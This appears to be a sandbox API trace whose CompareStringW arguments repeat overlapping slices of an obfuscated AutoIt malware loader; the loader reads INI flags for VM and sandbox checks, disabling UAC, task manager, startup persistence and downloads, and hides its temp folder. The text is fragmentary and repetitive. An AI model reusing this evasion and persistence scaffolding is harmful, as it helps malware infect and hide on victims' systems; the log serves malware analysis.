\"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' 